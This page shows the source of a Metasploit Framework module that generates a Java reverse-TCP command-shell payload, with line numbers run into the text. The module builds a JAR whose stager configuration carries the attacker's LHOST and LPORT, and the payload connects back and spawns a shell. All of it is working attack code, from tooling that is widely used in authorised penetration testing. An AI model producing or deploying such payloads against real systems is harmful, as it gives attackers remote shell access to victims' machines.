Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/payloads/singles/java/shell_reverse_tcp.rb
Views: 11768
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##456module MetasploitModule78CachedSize = 7497910include Msf::Payload::Single11include Msf::Payload::Java12include Msf::Sessions::CommandShellOptions1314def initialize(info={})15super(merge_info(info,16'Name' => 'Java Command Shell, Reverse TCP Inline',17'Description' => 'Connect back to attacker and spawn a command shell',18'Author' => ['mihi', 'egypt'],19'License' => MSF_LICENSE,20'Platform' => ['java'],21'Arch' => ARCH_JAVA,22'Handler' => Msf::Handler::ReverseTcp,23'Session' => Msf::Sessions::CommandShell,24'Payload' => {'Offsets' => {}, 'Payload' => ''}25))26end2728def generate_jar(opts={})29jar = Rex::Zip::Jar.new30jar.add_sub("metasploit") if opts[:random]31class_files.each do |path|321.upto(path.length - 1) do |idx|33full = path[0,idx].join("/") + "/"34if !(jar.entries.map{|e|e.name}.include?(full))35jar.add_file(full, '')36end37end38data = MetasploitPayloads.read('java', path)39jar.add_file(path.join("/"), data)40end41jar.build_manifest(:main_class => "metasploit.Payload")42jar.add_file("metasploit.dat", stager_config(opts))4344jar45end4647def stager_config(opts={})48ds = opts[:datastore] || datastore49c = ""50c << "LHOST=#{ds["LHOST"]}\n" if ds["LHOST"]51c << "LPORT=#{ds["LPORT"]}\n" if ds["LPORT"]52# Magical, means use stdin/stdout. Used for debugging53#c << "LPORT=0\n"54c << "EmbeddedStage=Shell\n"5556c57end5859def class_files60[61['metasploit', 'Payload.class'],62['javapayload', 'stage', 'Stage.class'],63['javapayload', 'stage', 'StreamForwarder.class'],64['javapayload', 'stage', 'Shell.class'],65]66end67end686970